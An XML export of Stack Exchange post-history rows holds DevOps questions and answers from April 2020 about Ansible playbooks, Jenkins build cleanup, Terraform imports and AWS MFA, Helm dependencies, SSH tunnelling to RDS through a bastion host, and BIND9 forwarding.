  <row Id="34703" PostHistoryTypeId="2" PostId="11350" RevisionGUID="e00eed04-ce36-4710-8de6-85ae8357909d" CreationDate="2020-04-15T17:51:05.560" UserId="20068" Text="I have used below code to resolve the issue.&#xD;&#xA;&#xD;&#xA;        - name: Copy var directory&#xD;&#xA;          shell: |&#xD;&#xA;            cp -rpf /home_old/* /home&#xD;&#xA;            cp -rpf /var_old/* /var&#xD;&#xA;          args:&#xD;&#xA;            executable: /bin/bash&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="34704" PostHistoryTypeId="2" PostId="11351" RevisionGUID="c56501d4-c653-43e9-bb4b-8b1728000bba" CreationDate="2020-04-15T17:54:53.273" UserId="20068" Text="I have fixed updated error with the below module:&#xD;&#xA;&#xD;&#xA;    - name: Join system to AD &#xD;&#xA;      expect:&#xD;&#xA;        command: /bin/bash -c &quot;realm join --membership-software=adcli --user=username@EXAMPLE.COM --computer-ou=&quot;OU={{ xxx }},OU={{ xxxx }},OU=xxxx,OU=xxxxx,DC=xxxxxxxx,DC=xxxx&quot; --os-name={{ ansible_distribution }} --os-version={{ ansible_distribution_version }} DCNAME&quot;&#xD;&#xA;        responses:&#xD;&#xA;            Password for *: &quot;{{ join_user_pass | b64decode }}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34709" PostHistoryTypeId="2" PostId="11354" RevisionGUID="c23c8910-0dad-493f-9f05-2f2fc812a8e8" CreationDate="2020-04-15T23:57:01.907" UserId="4583" Text="I have existing Jenkins (2.90) jobs that are taking up disk space. When I enable the &quot;Discard Old Builds&quot; option I don't see any cleanup going on in the folder on the builds older than 7 days.&#xD;&#xA;&#xD;&#xA;When does Jenkins do this cleanup? Or does it only apply for new builds after I apply the setting?&#xD;&#xA;&#xD;&#xA;[![Jenkins discard build option][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/5uI2R.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34710" PostHistoryTypeId="1" PostId="11354" RevisionGUID="c23c8910-0dad-493f-9f05-2f2fc812a8e8" CreationDate="2020-04-15T23:57:01.907" UserId="4583" Text="When does Jenkins clean up old builds?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34711" PostHistoryTypeId="3" PostId="11354" RevisionGUID="c23c8910-0dad-493f-9f05-2f2fc812a8e8" CreationDate="2020-04-15T23:57:01.907" UserId="4583" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34712" PostHistoryTypeId="2" PostId="11355" RevisionGUID="b7a2361c-27a3-46c6-a8fd-69c893154507" CreationDate="2020-04-16T02:46:51.460" UserId="21732" Text="I'm really trying to merge lists of objects along with defaults so I can loop over them and create resources in kubernetes. I've gotten it down to a simple(ish) playbook and will post it here.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- hosts: localhost&#xD;&#xA;  vars:&#xD;&#xA;    default_thing_1: 123&#xD;&#xA;    default_thing_2: 456&#xD;&#xA;    default_transport: train&#xD;&#xA;    list_of_things:&#xD;&#xA;      - name: foo&#xD;&#xA;        common_thing_1: &quot;sam&quot;&#xD;&#xA;      - name: bar&#xD;&#xA;        common_thing_1: &quot;sam&quot;&#xD;&#xA;        common_thing_2: &quot;ham&quot;&#xD;&#xA;      - name: biz&#xD;&#xA;        common_thing_1: &quot;eggs&quot;&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Set the Things Facts&#xD;&#xA;      set_fact:&#xD;&#xA;        thing:&#xD;&#xA;          i_am: &quot;{{ item.common_thing_1 | default(default_thing_1) }}&quot;&#xD;&#xA;          eggs_ham: &quot;{{ item.common_thing_2 | default(default_thing_2) }}&quot;&#xD;&#xA;      loop: &quot;{{ list_of_things }}&quot;&#xD;&#xA;      register: things_fact_results&#xD;&#xA;    - name: Set Optional Things Facts&#xD;&#xA;      set_fact:&#xD;&#xA;        thing:&#xD;&#xA;          transport: &quot;{{ item.transport | default(default_transport) }}&quot;&#xD;&#xA;      when: &quot;item.common_thing_2 is defined and item.common_thing_2 == 'ham'&quot;&#xD;&#xA;      loop: &quot;{{ list_of_things }}&quot;&#xD;&#xA;      register: transport_fact_results&#xD;&#xA;    - name: Debug the Facts&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ item.0 | combine(item.1|default({})) }}&quot;&#xD;&#xA;      loop: &quot;{{&#xD;&#xA;        things_fact_results.results |&#xD;&#xA;        map(attribute='ansible_facts.thing') | list |&#xD;&#xA;        zip(&#xD;&#xA;          transport_fact_results.results |&#xD;&#xA;          map(attribute='ansible_facts.thing') | list&#xD;&#xA;        ) | list&#xD;&#xA;      }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The output is as follows...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;PLAY [localhost] ***********************************************************************************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] *****************************************************************************************************************************************************************************&#xD;&#xA;ok: [localhost]&#xD;&#xA;&#xD;&#xA;TASK [Set the Things Facts] ************************************************************************************************************************************************************************&#xD;&#xA;ok: [localhost] =&gt; (item={'name': 'foo', 'common_thing_1': 'sam'})&#xD;&#xA;ok: [localhost] =&gt; (item={'name': 'bar', 'common_thing_1': 'sam', 'common_thing_2': 'ham'})&#xD;&#xA;ok: [localhost] =&gt; (item={'name': 'biz', 'common_thing_1': 'eggs'})&#xD;&#xA;&#xD;&#xA;TASK [Set Optional Things Facts] *******************************************************************************************************************************************************************&#xD;&#xA;skipping: [localhost] =&gt; (item={'name': 'foo', 'common_thing_1': 'sam'}) &#xD;&#xA;ok: [localhost] =&gt; (item={'name': 'bar', 'common_thing_1': 'sam', 'common_thing_2': 'ham'})&#xD;&#xA;skipping: [localhost] =&gt; (item={'name': 'biz', 'common_thing_1': 'eggs'}) &#xD;&#xA;&#xD;&#xA;TASK [Debug the Facts] *****************************************************************************************************************************************************************************&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; {&quot;msg&quot;: &quot;Invalid data passed to 'loop', it requires a list, got this instead: [({'i_am': 'sam', 'eggs_ham': '456'}, AnsibleUndefined), ({'i_am': 'sam', 'eggs_ham': 'ham'}, {'transport': 'train'}), ({'i_am': 'eggs', 'eggs_ham': '456'}, AnsibleUndefined)]. Hint: If you passed a list/dict of just one element, try adding wantlist=True to your lookup invocation or use q/query instead of lookup.&quot;}&#xD;&#xA;&#xD;&#xA;PLAY RECAP *****************************************************************************************************************************************************************************************&#xD;&#xA;localhost                  : ok=3    changed=0    unreachable=0    failed=1    skipped=0    rescued=0    ignored=0   &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I think if I'm reading the loop item that's what I'm looking for. Though I'm not sure why ansible is refusing to perform the loop.&#xD;&#xA;&#xD;&#xA;Any help about how to merge lists of objects together with optional attributes that could or could not be set because k8s is pretty picky about what's being set and not when passing in objects.&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="34713" PostHistoryTypeId="1" PostId="11355" RevisionGUID="b7a2361c-27a3-46c6-a8fd-69c893154507" CreationDate="2020-04-16T02:46:51.460" UserId="21732" Text="Merging Lists of Objects in Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="34714" PostHistoryTypeId="3" PostId="11355" RevisionGUID="b7a2361c-27a3-46c6-a8fd-69c893154507" CreationDate="2020-04-16T02:46:51.460" UserId="21732" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34715" PostHistoryTypeId="4" PostId="11355" RevisionGUID="37213c48-642a-4f59-9856-657c7a9c2be4" CreationDate="2020-04-16T02:53:44.010" UserId="21732" Comment="edited title" Text="Combine Lists of Objects in Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="34716" PostHistoryTypeId="2" PostId="11356" RevisionGUID="bef6ed6c-0fd6-4818-8a22-4e6056e5b2bf" CreationDate="2020-04-16T07:17:49.387" UserId="11440" Text="`loop` requires a valid list. But we got here is,&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[({'i_am': 'sam', 'eggs_ham': '456'}, &lt;b&gt;AnsibleUndefined&lt;/b&gt;),&#xD;&#xA; ({'i_am': 'sam', 'eggs_ham': 'ham'}, {'transport': 'train'}),&#xD;&#xA; ({'i_am': 'eggs', 'eggs_ham': '456'}, &lt;b&gt;AnsibleUndefined&lt;/b&gt;)]&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;Since no value is assigned to `transport_fact_results` when `common_thing_2 ` is not defined.&#xD;&#xA;&#xD;&#xA;if you remove the `when` condition it will work.&#xD;&#xA;&#xD;&#xA;CODE:&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      vars:&#xD;&#xA;        default_thing_1: 123&#xD;&#xA;        default_thing_2: 456&#xD;&#xA;        default_transport: train&#xD;&#xA;        list_of_things:&#xD;&#xA;          - name: foo&#xD;&#xA;            common_thing_1: &quot;sam&quot;&#xD;&#xA;          - name: bar&#xD;&#xA;            common_thing_1: &quot;sam&quot;&#xD;&#xA;            common_thing_2: &quot;ham&quot;&#xD;&#xA;          - name: biz&#xD;&#xA;            common_thing_1: &quot;eggs&quot;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Set the Things Facts&#xD;&#xA;          set_fact:&#xD;&#xA;            thing:&#xD;&#xA;              i_am: &quot;{{ item.common_thing_1 | default(default_thing_1) }}&quot;&#xD;&#xA;              eggs_ham: &quot;{{ item.common_thing_2 | default(default_thing_2) }}&quot;&#xD;&#xA;          loop: &quot;{{ list_of_things }}&quot;&#xD;&#xA;          register: things_fact_results&#xD;&#xA;        - name: Set Optional Things Facts&#xD;&#xA;          set_fact:&#xD;&#xA;            thing:&#xD;&#xA;              transport: &quot;{{ item.transport | default(default_transport) }}&quot;&#xD;&#xA;          when: &quot;item.common_thing_2 is defined and item.common_thing_2 == 'ham'&quot;&#xD;&#xA;          loop: &quot;{{ list_of_things }}&quot;&#xD;&#xA;          register: transport_fact_results&#xD;&#xA;        - name: Debug the Facts&#xD;&#xA;          debug:&#xD;&#xA;            msg: &quot;{{ item.0 | combine(item.1|default({})) }}&quot;&#xD;&#xA;          loop: &quot;{{&#xD;&#xA;            things_fact_results.results |&#xD;&#xA;            map(attribute='ansible_facts.thing') | list |&#xD;&#xA;            zip(&#xD;&#xA;              transport_fact_results.results |&#xD;&#xA;              map(attribute='ansible_facts.thing') | list&#xD;&#xA;            ) | list&#xD;&#xA;          }}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;OUTPUT:&#xD;&#xA;&#xD;&#xA;    PLAY [localhost] ************************************************************************************************************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [Gathering Facts] ******************************************************************************************************************************************************************************************&#xD;&#xA;    ok: [localhost]&#xD;&#xA;    &#xD;&#xA;    TASK [Set the Things Facts] *************************************************************************************************************************************************************************************&#xD;&#xA;    ok: [localhost] =&gt; (item={u'common_thing_1': u'sam', u'name': u'foo'})&#xD;&#xA;    ok: [localhost] =&gt; (item={u'common_thing_1': u'sam', u'common_thing_2': u'ham', u'name': u'bar'})&#xD;&#xA;    ok: [localhost] =&gt; (item={u'common_thing_1': u'eggs', u'name': u'biz'})&#xD;&#xA;    &#xD;&#xA;    TASK [Set Optional Things Facts] ********************************************************************************************************************************************************************************&#xD;&#xA;    ok: [localhost] =&gt; (item={u'common_thing_1': u'sam', u'name': u'foo'})&#xD;&#xA;    ok: [localhost] =&gt; (item={u'common_thing_1': u'sam', u'common_thing_2': u'ham', u'name': u'bar'})&#xD;&#xA;    ok: [localhost] =&gt; (item={u'common_thing_1': u'eggs', u'name': u'biz'})&#xD;&#xA;    &#xD;&#xA;    TASK [Debug the Facts] ******************************************************************************************************************************************************************************************&#xD;&#xA;    ok: [localhost] =&gt; (item=[{u'eggs_ham': u'456', u'i_am': u'sam'}, {u'transport': u'train'}]) =&gt; {&#xD;&#xA;        &quot;msg&quot;: {&#xD;&#xA;            &quot;eggs_ham&quot;: &quot;456&quot;, &#xD;&#xA;            &quot;i_am&quot;: &quot;sam&quot;, &#xD;&#xA;            &quot;transport&quot;: &quot;train&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    ok: [localhost] =&gt; (item=[{u'eggs_ham': u'ham', u'i_am': u'sam'}, {u'transport': u'train'}]) =&gt; {&#xD;&#xA;        &quot;msg&quot;: {&#xD;&#xA;            &quot;eggs_ham&quot;: &quot;ham&quot;, &#xD;&#xA;            &quot;i_am&quot;: &quot;sam&quot;, &#xD;&#xA;            &quot;transport&quot;: &quot;train&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    ok: [localhost] =&gt; (item=[{u'eggs_ham': u'456', u'i_am': u'eggs'}, {u'transport': u'train'}]) =&gt; {&#xD;&#xA;        &quot;msg&quot;: {&#xD;&#xA;            &quot;eggs_ham&quot;: &quot;456&quot;, &#xD;&#xA;            &quot;i_am&quot;: &quot;eggs&quot;, &#xD;&#xA;            &quot;transport&quot;: &quot;train&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP ******************************************************************************************************************************************************************************************************&#xD;&#xA;    localhost                  : ok=4    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34721" PostHistoryTypeId="2" PostId="11358" RevisionGUID="2b689964-0573-4c88-934f-50cd24a94306" CreationDate="2020-04-16T10:50:32.057" UserId="21748" Text="Terraform v0.11.11&#xD;&#xA;&#xD;&#xA;We have a quite big aws setup created with Terraform. Different regions are applied separately and that why we have most of the things in modules which are imported like this:&#xD;&#xA;&#xD;&#xA;    module &quot;assets&quot; {&#xD;&#xA;      source       = &quot;../modules/aws-assets&quot;&#xD;&#xA;      environment  = &quot;${var.environment}&quot;&#xD;&#xA;      upload_users = &quot;${var.upload_users}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;We have one s3 bucket created manyallu and I try to import it. Terraform import command do not find the configuration file and errors&#xD;&#xA;&#xD;&#xA;    Error: resource address &quot;aws_s3_bucket.machine-learning&quot; does not exist in the configuration.&#xD;&#xA;&#xD;&#xA;Before importing this resource, please create its configuration in the root module. For example:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_s3_bucket&quot; &quot;machine-learning&quot; {&#xD;&#xA;      # (resource arguments)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;terraform apply/plan do find the configuration and wants to create it which is not what we want?&#xD;&#xA;&#xD;&#xA;Thanks for you help!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34722" PostHistoryTypeId="1" PostId="11358" RevisionGUID="2b689964-0573-4c88-934f-50cd24a94306" CreationDate="2020-04-16T10:50:32.057" UserId="21748" Text="How to use terraform import with module" ContentLicense="CC BY-SA 4.0" />
  <row Id="34723" PostHistoryTypeId="3" PostId="11358" RevisionGUID="2b689964-0573-4c88-934f-50cd24a94306" CreationDate="2020-04-16T10:50:32.057" UserId="21748" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34724" PostHistoryTypeId="2" PostId="11359" RevisionGUID="12b6db87-85c2-41a5-a86b-69c49eb1a4dc" CreationDate="2020-04-16T11:55:29.630" UserId="21739" Text="[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/QdcYr.png&#xD;&#xA;main.tf&#xD;&#xA;&#xD;&#xA;    module &quot;assets&quot; {&#xD;&#xA;      source       = &quot;./modules&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;modules/aws-assests.tf&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_s3_bucket&quot; &quot;machine-learning&quot; {&#xD;&#xA;      # (resource arguments)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;To install the aws_s3_bucket module run the below command&#xD;&#xA;&#xD;&#xA;    # terraform init" ContentLicense="CC BY-SA 4.0" />
  <row Id="34725" PostHistoryTypeId="2" PostId="11360" RevisionGUID="85ebdded-b876-4d11-ad06-d2abf0368973" CreationDate="2020-04-16T13:05:02.483" UserId="7498" Text="I answered that question [stackoveflow](https://stackoverflow.com/questions/44494238/mark-jenkins-build-as-success-in-case-of-timeout-on-input-declarative-pipelin/60383321#60383321) and I'll post the answer here:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For a Declarative pipeline (not a scripted) you would do something like this&#xD;&#xA;&#xD;&#xA;    stage('Foo') {&#xD;&#xA;          steps {&#xD;&#xA;                script {&#xD;&#xA;                    env.PROCEED_TO_DEPLOY = 1&#xD;&#xA;                    try {&#xD;&#xA;                        timeout(time: 2, unit: 'MINUTES') {&#xD;&#xA;                            // ...&#xD;&#xA;                        }&#xD;&#xA;                    } catch (err) {&#xD;&#xA;                        env.PROCEED_TO_DEPLOY = 0&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;          }&#xD;&#xA;      }&#xD;&#xA;      stage('Bar') {&#xD;&#xA;        when {&#xD;&#xA;            expression {&#xD;&#xA;                env.PROCEED_TO_DEPLOY == 1&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        //rest of your pipeline&#xD;&#xA;&#xD;&#xA;stage &quot;Bar&quot; would be skipped but as for the rest of the stages the job will be marked as passed (assuming nothing wrong happened before).&#xD;&#xA;&#xD;&#xA;As for your particular use-case, the trick is to use a try/catch block." ContentLicense="CC BY-SA 4.0" />
  <row Id="34732" PostHistoryTypeId="2" PostId="11363" RevisionGUID="94b974e4-001d-4ba3-a89d-fcc73f4dcd3f" CreationDate="2020-04-16T17:02:06.297" UserId="4115" Text="Per the Jenkins documentation:&#xD;&#xA;&#xD;&#xA;&gt; Cleanup per project/job is performed after that job runs.&#xD;&#xA;&gt;&#xD;&#xA;&gt; As of v2.221, cleanup will also periodically run using the new Global Build Discarders (even if a job has not recently been run).&#xD;&#xA;&#xD;&#xA;[Source](https://support.cloudbees.com/hc/en-us/articles/215549798-Best-Strategy-for-Disk-Space-Management-Clean-Up-Old-Builds)." ContentLicense="CC BY-SA 4.0" />
  <row Id="34738" PostHistoryTypeId="2" PostId="11365" RevisionGUID="5c29635d-5cfa-4c9f-bc1e-39dadbfebced" CreationDate="2020-04-16T18:09:13.650" UserId="21756" Text="I have a public Azure DevOps project, and I want to allow everyone to add Work Items.&#xD;&#xA;&#xD;&#xA;However, adding the **Readers group as a member of Contributors** for the permissions doesn't change anything, and I can't find *&quot;Add Work Items&quot;* but only the *&quot;Delete Work Items&quot;* toggle for changing its own Readers perms so I am really stuck here.&#xD;&#xA;&#xD;&#xA;The contributors perms:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Having to add every mail account to allow people to add work items isn't possible in my situation (Game Engine project) so I really have to find a solution.&#xD;&#xA;&#xD;&#xA;Thanks very much for your help and assistance in advance. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/twqAh.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="34739" PostHistoryTypeId="1" PostId="11365" RevisionGUID="5c29635d-5cfa-4c9f-bc1e-39dadbfebced" CreationDate="2020-04-16T18:09:13.650" UserId="21756" Text="Add permissions to readers (DevOps Web Portal)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34740" PostHistoryTypeId="3" PostId="11365" RevisionGUID="5c29635d-5cfa-4c9f-bc1e-39dadbfebced" CreationDate="2020-04-16T18:09:13.650" UserId="21756" Text="&lt;azure-devops&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34741" PostHistoryTypeId="2" PostId="11366" RevisionGUID="8bb96cdb-8bd0-48e7-8426-dea45ef5a255" CreationDate="2020-04-16T18:24:49.280" UserId="21739" Text="Yes, As we write terraform template is correct.&#xD;&#xA;When you use terraform apply it will check local docker image list if it doesn't exit it will go to find registry as you define docker image.&#xD;&#xA;&#xD;&#xA;If you don't want a pull image from the internet you can try the below steps. But at least you should have a base docker image of any Linux distribution.&#xD;&#xA;&#xD;&#xA;1. Create a Dockerfile. &#xD;&#xA;2. Build Dockerfile as below command&#xD;&#xA;&#xD;&#xA;`# docker build -t image_name -f Dockerfile`&#xD;&#xA;&#xD;&#xA;3. Define the docker image as a template&#xD;&#xA;&#xD;&#xA;`resource &quot;docker_container&quot; &quot;my_service&quot; {&#xD;&#xA;  image = &quot;image_name&quot;&#xD;&#xA;  name  = &quot;my-service&quot;&#xD;&#xA;}`&#xD;&#xA;&#xD;&#xA;4. By **terraform init** install terraform module and apply the terraform template.&#xD;&#xA;&#xD;&#xA;`# terraform init`&#xD;&#xA;&#xD;&#xA;`# terraform apply -auto-approve`" ContentLicense="CC BY-SA 4.0" />
  <row Id="34743" PostHistoryTypeId="2" PostId="11368" RevisionGUID="5c12f752-338b-46bb-8b4d-c77e2d9a02c2" CreationDate="2020-04-16T19:05:22.257" UserId="7770" Text="I'm using Terraform with the [terraform-provider-aws](https://github.com/terraform-providers/terraform-provider-aws) provider to manage my AWS infrastructure. I'm trying to enable `mfa_delete` on an S3 bucket, but when I try to apply the change I get this error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;1 error occurred:&#xD;&#xA;        * aws_s3_bucket.logs: 1 error occurred:&#xD;&#xA;        * aws_s3_bucket.logs: Error putting S3 versioning: AccessDenied: Mfa Authentication must be used for this request&#xD;&#xA;        status code: 403, request id: &lt;redacted&gt;, host id: &lt;redacted&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;How can I run Terraform in a mode that uses multi-factor authentication? My IAM account has a Virtual MFA device attached, but that MFA isn't used when I'm terraforming because terraform uses the API Access Key associated with my account." ContentLicense="CC BY-SA 4.0" />
  <row Id="34744" PostHistoryTypeId="1" PostId="11368" RevisionGUID="5c12f752-338b-46bb-8b4d-c77e2d9a02c2" CreationDate="2020-04-16T19:05:22.257" UserId="7770" Text="How do I run Terraform with AWS MFA?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34745" PostHistoryTypeId="3" PostId="11368" RevisionGUID="5c12f752-338b-46bb-8b4d-c77e2d9a02c2" CreationDate="2020-04-16T19:05:22.257" UserId="7770" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;authentication&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34747" PostHistoryTypeId="2" PostId="11369" RevisionGUID="611cc20a-deca-4d6d-9da1-88af5ca04420" CreationDate="2020-04-16T20:38:17.217" UserId="21759" Text="If I have a chart, say ChartA, that has a dependency on ChartB, I want to only install ChartB if it hasn't been installed already.&#xD;&#xA;&#xD;&#xA;Why? Let's say I run 2 copies of ChartA, and they both need a special server in ChartB, but that server is meant to be a singleton between the two instances of ChartA.&#xD;&#xA;&#xD;&#xA;How can I accomplish this? So far my ChartA's requirements.yaml looks like:&#xD;&#xA;&#xD;&#xA;    dependencies:&#xD;&#xA;      - name: chartb&#xD;&#xA;        version: &quot;0.1.0&quot;&#xD;&#xA;        repository: &quot;https://my.repository.url/charts/&quot;&#xD;&#xA;&#xD;&#xA;If I go and run `helm install charta --name instance-a` it finds chartb just fine and installs it, but if I run the install a second time with `helm install charta --name instance-b` it fails with `Error: release instance-b failed: services &quot;chartb&quot; already exists`&#xD;&#xA;&#xD;&#xA;In other words, instead of recognizing the chartb service was already installed and working, it tried to install it again and failed.&#xD;&#xA;&#xD;&#xA;**How can I ensure that Helm only installs the chartb dependency if it isn't already installed and running (i.e. from a previous instance being started up of charta)?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="34748" PostHistoryTypeId="1" PostId="11369" RevisionGUID="611cc20a-deca-4d6d-9da1-88af5ca04420" CreationDate="2020-04-16T20:38:17.217" UserId="21759" Text="How can I ensure Helm doesn't install a dependency twice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34749" PostHistoryTypeId="3" PostId="11369" RevisionGUID="611cc20a-deca-4d6d-9da1-88af5ca04420" CreationDate="2020-04-16T20:38:17.217" UserId="21759" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;dependency-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34750" PostHistoryTypeId="2" PostId="11370" RevisionGUID="ec52493d-44aa-47ef-9f75-c15c29c06b34" CreationDate="2020-04-16T20:51:16.490" UserId="17276" Text="&#xD;&#xA;Forwarding a port 3006 database connection from a bastion server to a RDS database?&#xD;&#xA;&#xD;&#xA;Trying to find the answer online I came across the term Proxy jump but can't find anything on proxy jump for 3006 to send a 3006 mysql conection to the bastion on port 3006 to an RDS?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34751" PostHistoryTypeId="1" PostId="11370" RevisionGUID="ec52493d-44aa-47ef-9f75-c15c29c06b34" CreationDate="2020-04-16T20:51:16.490" UserId="17276" Text="What can I use to forward a conection to port 3006 on the bastion to an RDS database?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34752" PostHistoryTypeId="3" PostId="11370" RevisionGUID="ec52493d-44aa-47ef-9f75-c15c29c06b34" CreationDate="2020-04-16T20:51:16.490" UserId="17276" Text="&lt;databases&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34753" PostHistoryTypeId="2" PostId="11371" RevisionGUID="b4e9bf60-3ec5-4deb-a238-c2a6b715685b" CreationDate="2020-04-17T03:58:15.513" UserId="21739" Text="***It is possible on the Linux(Unix) bastion host.***&#xD;&#xA;&#xD;&#xA;Step-1: First ssh to the bastion host. *eg. 16.23.14.20 is the bastion host.*&#xD;&#xA;&#xD;&#xA;    # ssh root@16.23.14.20&#xD;&#xA;&#xD;&#xA;Step-2: Create port tunneling by using the below command. eg. *The RDS IP is 172.16.13.10*&#xD;&#xA;&#xD;&#xA;    # ssh -L  3006:172.16.13.10:3006 localhost&#xD;&#xA;&#xD;&#xA;Verify using netstat command.&#xD;&#xA;&#xD;&#xA;    netstat -ntulp | grep 3006&#xD;&#xA;&#xD;&#xA;Note: If netstat command not available. Using `sudo apt install -y net-tools` or `sudo yum install -y net-tools`&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34754" PostHistoryTypeId="5" PostId="11358" RevisionGUID="01573d67-559e-4082-9e38-bde8753eef68" CreationDate="2020-04-17T06:08:03.860" UserId="21748" Comment="added 117 characters in body" Text="Terraform v0.11.11&#xD;&#xA;&#xD;&#xA;We have a quite big aws setup created with Terraform. Different regions are applied separately and that why we have most of the things in modules which are imported like this:&#xD;&#xA;&#xD;&#xA;    module &quot;assets&quot; {&#xD;&#xA;      source       = &quot;../modules/aws-assets&quot;&#xD;&#xA;      environment  = &quot;${var.environment}&quot;&#xD;&#xA;      upload_users = &quot;${var.upload_users}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;We have one s3 bucket created manyallu and I try to import it. Terraform import command do not find the configuration file and errors&#xD;&#xA;&#xD;&#xA;    Error: resource address &quot;aws_s3_bucket.machine-learning&quot; does not exist in the configuration.&#xD;&#xA;&#xD;&#xA;Before importing this resource, please create its configuration in the root module. For example:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_s3_bucket&quot; &quot;machine-learning&quot; {&#xD;&#xA;      # (resource arguments)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;terraform apply/plan do find the configuration and wants to create it which is not what we want?&#xD;&#xA;&#xD;&#xA;Thanks for you help!&#xD;&#xA;&#xD;&#xA;================================&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;now moved configuration to root and ended up with different error...&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34759" PostHistoryTypeId="2" PostId="11373" RevisionGUID="7c28a68f-e873-425c-b1b0-2d4cde9fb61f" CreationDate="2020-04-17T09:50:12.647" UserId="10119" Text="We have a BIND9 setup to forward only for a particular zone as seen below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;options {&#xD;&#xA;&#xD;&#xA;  directory &quot;/var/cache/bind&quot;;&#xD;&#xA;&#xD;&#xA;  recursion yes;&#xD;&#xA;  allow-transfer {&quot;none&quot;;};&#xD;&#xA;  allow-query { any; };&#xD;&#xA;  allow-recursion { any; };&#xD;&#xA;&#xD;&#xA;  listen-on-v6 { none; };&#xD;&#xA;};&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;logging{&#xD;&#xA;  channel default_log{&#xD;&#xA;  syslog local;&#xD;&#xA;  severity info;&#xD;&#xA;  print-severity yes;&#xD;&#xA;  print-time yes;&#xD;&#xA;  print-category yes;&#xD;&#xA; };&#xD;&#xA;&#xD;&#xA; category default{&#xD;&#xA;  default_log;&#xD;&#xA; };&#xD;&#xA;};&#xD;&#xA;&#xD;&#xA;zone &quot;internal.cloudapp.net&quot;&#xD;&#xA; {&#xD;&#xA;    type forward;&#xD;&#xA;    forward only;&#xD;&#xA;    forwarders { 10.20.0.9; 10.21.0.4; 10.22.1.9; };&#xD;&#xA;};&#xD;&#xA;```&#xD;&#xA;The problem that looks like is Bind9 does not query another forwarder if one of them in the list does not have an answer and stops / throws no such host error.&#xD;&#xA;&#xD;&#xA;We would like to force BIND to keep on querying all of them in the list recursively until an answer is found.&#xD;&#xA;&#xD;&#xA;How can that be done?" ContentLicense="CC BY-SA 4.0" />
